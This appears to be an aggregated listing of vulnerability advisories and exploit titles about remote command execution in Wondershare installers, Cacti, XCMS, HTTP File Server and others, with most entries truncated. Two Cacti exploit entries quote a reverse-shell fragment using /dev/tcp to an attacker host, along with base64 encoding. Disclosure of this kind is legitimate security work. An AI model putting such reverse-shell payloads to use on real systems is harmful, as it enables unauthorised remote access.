CVE-2023-27766

An issue found in Wondershare Technology Co.,Ltd Anireel 1.5.4 allows a remote attacker to execute arbitrary commands via the anireelsetupfull9589.exe file...

CVE-2023-27764

An issue found in Wondershare Technology Co.,Ltd Repairit v.3.5.4 allows a remote attacker to execute arbitrary commands via the repairitsetupfull5913.exe file...

Wondershare 代码问题漏洞

Wondershare is a data transfer tool. A security vulnerability exists in Wondershare Creative Centerr that originates from a command that can be executed remotely via wondershareCCsetupfull10819.exe...

Wondershare 代码问题漏洞

Wondershare is a data transfer tool. A security vulnerability exists in Wondershare Repairit that originates from a command that can be executed remotely via repairitsetupfull5913.exe...

PT-2023-20792 · Unknown · Uptime Kuma

Name of the Vulnerable Software and Affected Versions: Uptime Kuma versions 1.19.6 and before Description: A Cross Site Scripting issue allows a remote attacker to execute arbitrary commands via the description, title, footer, and incident creation parameter of the "status page.js" endpoint...

PT-2023-21329 · Wondershare · Democreator

Name of the Vulnerable Software and Affected Versions: Wondershare DemoCreator version 6.0.0 Description: An issue in DemoCreator allows a remote attacker to execute arbitrary commands via the democreator setup full7743.exe file. Recommendations: For version 6.0.0, consider removing or restrictin...

Wondershare 代码问题漏洞

Wondershare is a data transfer tool. A security vulnerability exists in Wondershare PDF Reader that originates from a command that can be executed remotely via pdfreadersetupfull13143.exe...

Wondershare 代码问题漏洞

Wondershare is a data transfer tool. A security vulnerability exists in Wondershare PDFelement that originates from a command that can be executed remotely via pdfelement-prosetupfull5239.exe...

PT-2023-21335 · Wondershare · Wondershare Pdfelement

Name of the Vulnerable Software and Affected Versions: Wondershare PDFelement version 9.1.1 Description: An issue in Wondershare PDFelement allows a remote attacker to execute arbitrary commands via the pdfelement-pro setup full5239.exe file. Recommendations: For Wondershare PDFelement version...

Wondershare 代码问题漏洞

Wondershare is a data transfer tool. A security vulnerability exists in Wondershare Dr. Fone that originates from a command that can be executed remotely via drfonesetupfull3360.exe...

PT-2023-21337 · Wondershare · Wondershare Edraw-Max

Name of the Vulnerable Software and Affected Versions: Wondershare Edraw-max version 12.0.4 Description: An issue in Wondershare Edraw-max allows a remote attacker to execute arbitrary commands via the edraw-max setup full5371.exe file. Recommendations: For version 12.0.4, consider removing or...

CVE-2023-25356

CoreDial sipXcom up to and including 21.04 is vulnerable to Improper Neutralization of Argument Delimiters in a Command. XMPP users are able to inject arbitrary arguments into a system command, which can be used to read files from, and write files to, the sipXcom server. This can also be leverage...

The vulnerability of the command-line interface of ArubaOS systems allows a hacker to execute arbitrary commands.

The vulnerability of the command-line interface of ArubaOS systems is related to the lack of measures taken to clean data at the management level. Exploiting this vulnerability allows a remote attacker to execute arbitrary commands...

XCMS 1.83 Remote Command Execution

Exploit Title: XCMS v1.83 - Remote Command Execution RCE Author: Onurcan Email: [email protected] Site: ihteam.net Script Download : http://www.xcms.it Date: 26/12/2022 The xcms's footerthat is in "/dati/generali/footer.dtb" is included in each page of the xcms. Taking "home.php" for example...

HTTP File Server <2.3c - Remote Command Execution

HTTP File Server before 2.3c is susceptible to remote command execution. The findMacroMarker function in parserLib.pas allows an attacker to execute arbitrary programs via a %00 sequence in a search action. Therefore, an attacker can obtain sensitive information, modify data, and/or gain full...

XCMS v1.83 - Remote Command Execution (RCE)

Exploit Title: XCMS v1.83 - Remote Command Execution RCE Author: Onurcan Email: [email protected] Site: ihteam.net Script Download : http://www.xcms.it Date: 26/12/2022 The xcms's footerthat is in "/dati/generali/footer.dtb" is included in each page of the xcms. Taking "home.php" for example...

CVE-2023-28726

Panasonic AiSEG2 versions 2.80F through 2.93A allows remote attackers to execute arbitrary OS commands...

CVE-2023-28726

Panasonic AiSEG2 versions 2.80F through 2.93A allows remote attackers to execute arbitrary OS commands...

Cacti v1.2.22 - Remote Command Execution Exploit

Exploit Title: Cacti v1.2.22 - Remote Command Execution RCE Exploit Author: Riadh BOUCHAHOUA Vendor Homepage: https://www.cacti.net/ Software Links : https://github.com/Cacti/cacti Tested Version: 1.2.2x /dev/tcp/self.rshost/self.rsport &1'" import base64 b64revshell =...

Cacti 1.2.22 Remote Command Execution

Exploit Title: Cacti v1.2.22 - Remote Command Execution RCE Exploit Author: Riadh BOUCHAHOUA Discovery Date: 2022-12-08 Vendor Homepage: https://www.cacti.net/ Software Links : https://github.com/Cacti/cacti Tested Version: 1.2.2x /dev/tcp/self.rshost/self.rsport &1'" import base64 b64revshell =...